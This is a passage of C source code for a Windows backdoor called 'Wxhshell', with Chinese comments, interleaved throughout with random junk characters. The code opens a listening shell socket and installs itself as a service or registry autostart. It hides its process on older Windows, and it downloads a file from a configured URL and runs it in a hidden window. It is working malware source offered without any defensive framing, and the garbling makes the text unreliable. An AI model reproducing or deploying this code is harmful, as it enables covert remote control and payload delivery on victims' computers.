P=CoLFa if(hProcess==NULL) return 0; HUY1nb= z/7"! HMODULE hMod; Q_n9}LanP char procName[255]; R P6R1iN3 unsigned long cbNeeded; siGt5RH* cx(b5Z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0)3*E)g{ agW#"9]WM CloseHandle(hProcess); UkBr4{+aE -%)8= if(strstr(procName,"services")) return 1; // 以服务启动 rDWqJ<8 W>]=0u4 return 0; // 注册表启动 `'<&<P } lr@H4EJ{ [+v}V ,jb // 主模块 Oo95\Yf$N int StartWxhshell(LPSTR lpCmdLine) )haHI)xR { *G0r4Ui$ SOCKET wsl; g3uI1]QXLg BOOL val=TRUE; EYF]&+ 9 int port=0; ^aO\WKkA struct sockaddr_in door; IK^jzx 18U
CZ;)> if(wscfg.ws_autoins) Install(); O}_Z"y FzGla} ) port=atoi(lpCmdLine); nLjo3yvV.. ;}gS8I| if(port<=0) port=wscfg.ws_port; dq
~=P> FqK2[]8 WSADATA data; +Udlt)H if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L`{EXn[ s"\o6r
, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BpKgUwf;C setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A PR%ZpG door.sin_family = AF_INET; 6?c(ue iL[ door.sin_addr.s_addr = inet_addr("127.0.0.1"); SpUcrK;1 door.sin_port = htons(port); JMq00_ Px))O&w{ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~8G<Nw4*\ closesocket(wsl); L3-tD67oa return 1; o$DJL11E } MM%c nfMQ3KP if(listen(wsl,2) == INVALID_SOCKET) { 1JoRP~mMxa closesocket(wsl); _'E,g@ return 1; ` `R;x } Kr]`.@/.S Wxhshell(wsl); 0BTLIV$d; WSACleanup(); 5:H9B ?pv}~> return 0; DHV#PLbN$ V OViOD } fw1 g;;E 0oi
=}lV // 以NT服务方式启动 \'40u|f VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T+[N-"N { j@b4)t DWORD status = 0; -3<5,Q{G+ DWORD specificError = 0xfffffff; 43Yav+G(+ \ oIVE+L/P serviceStatus.dwServiceType = SERVICE_WIN32; 81|Xg5g)b serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]S~Z8T-[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Dyj5a($9"{ serviceStatus.dwWin32ExitCode = 0; \5_7!. serviceStatus.dwServiceSpecificExitCode = 0; &@xixbg serviceStatus.dwCheckPoint = 0; U/oncC5 serviceStatus.dwWaitHint = 0; 4yH=dl4=44 ArUGa(;f hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
WoiK _Ud if (hServiceStatusHandle==0) return; y3K9rf l*]*.?m/5 status = GetLastError(); GiN\nu<! if (status!=NO_ERROR) ccJ@jpXI { #U NTD4 serviceStatus.dwCurrentState = SERVICE_STOPPED; TK;*:K8oe serviceStatus.dwCheckPoint = 0; T}X#I'Z serviceStatus.dwWaitHint = 0; Nd~?kZZu serviceStatus.dwWin32ExitCode = status; %Y` @>P' serviceStatus.dwServiceSpecificExitCode = specificError; )-2o}KU]> SetServiceStatus(hServiceStatusHandle, &serviceStatus); n@xDFa return; j#b?P=|l } :hG?} [-2 $3sS&i< serviceStatus.dwCurrentState = SERVICE_RUNNING; y.~y*c6,g serviceStatus.dwCheckPoint = 0; d\dt}&S 5 serviceStatus.dwWaitHint = 0; e1X*}OI if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z1ltc{~Z } }06
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c N@s // 处理NT服务事件,比如:启动、停止 #s1O(rLRl VOID WINAPI NTServiceHandler(DWORD fdwControl) vvLm9Tw { "|<\\HR switch(fdwControl) rs3Uk.Z^' {
M? oK@i case SERVICE_CONTROL_STOP: EW{z?/ serviceStatus.dwWin32ExitCode = 0; Dqe/n_Z serviceStatus.dwCurrentState = SERVICE_STOPPED; W$0<a@ serviceStatus.dwCheckPoint = 0; fi%u] serviceStatus.dwWaitHint = 0; |Q^ZI { 3Bz0B a SetServiceStatus(hServiceStatusHandle, &serviceStatus); RV|: mI } vS:%(Y"!< return; ;PJWd|3 case SERVICE_CONTROL_PAUSE: 0sRby! serviceStatus.dwCurrentState = SERVICE_PAUSED; A}sb2P break; $L.0$-je4 case SERVICE_CONTROL_CONTINUE: ZN|DR|cUY serviceStatus.dwCurrentState = SERVICE_RUNNING; IEdC
_6G break; |*7uF<ink6 case SERVICE_CONTROL_INTERROGATE: a8-2:8Su break; Rv6{'\: }; !Ljs9 =UF SetServiceStatus(hServiceStatusHandle, &serviceStatus); #:Di1I9<O7 } |$":7)eH! 0iW]#O/ // 标准应用程序主函数 &eT)c<yhyK int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'N],d&fu^^ { Uq&ne1 bh?Vufd%) // 获取操作系统版本 uYS?# g OsIsNt=GetOsVer(); \@Gyl_6^ GetModuleFileName(NULL,ExeFile,MAX_PATH); pc5-'; n TdP_L/>|J // 从命令行安装 E) >~0jv if(strpbrk(lpCmdLine,"iI")) Install(); G.O0*E2V 0,(U_+n // 下载执行文件 -@G|i$! if(wscfg.ws_downexe) { rB}UFS) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [syuoJ WinExec(wscfg.ws_filenam,SW_HIDE); 0b=OK0n!% } 3Qe:d_ J1Mm,LTO if(!OsIsNt) { jcN84AaRFI // 如果时win9x,隐藏进程并且设置为注册表启动 LGPy>,! HideProc(); {SW104nb StartWxhshell(lpCmdLine); |,5b[Y"Dt } 4-=> >#
P else er^z:1' if(StartFromService()) X",fp // 以服务方式启动 %WCA?W0:4 StartServiceCtrlDispatcher(DispatchTable); Vf*!m~]Vqi else =R!=uml( // 普通方式启动 +M
(\R?@gr StartWxhshell(lpCmdLine); Fm{Ri=X<: <dDGV>n4;
return 0; 5SK{^hw }
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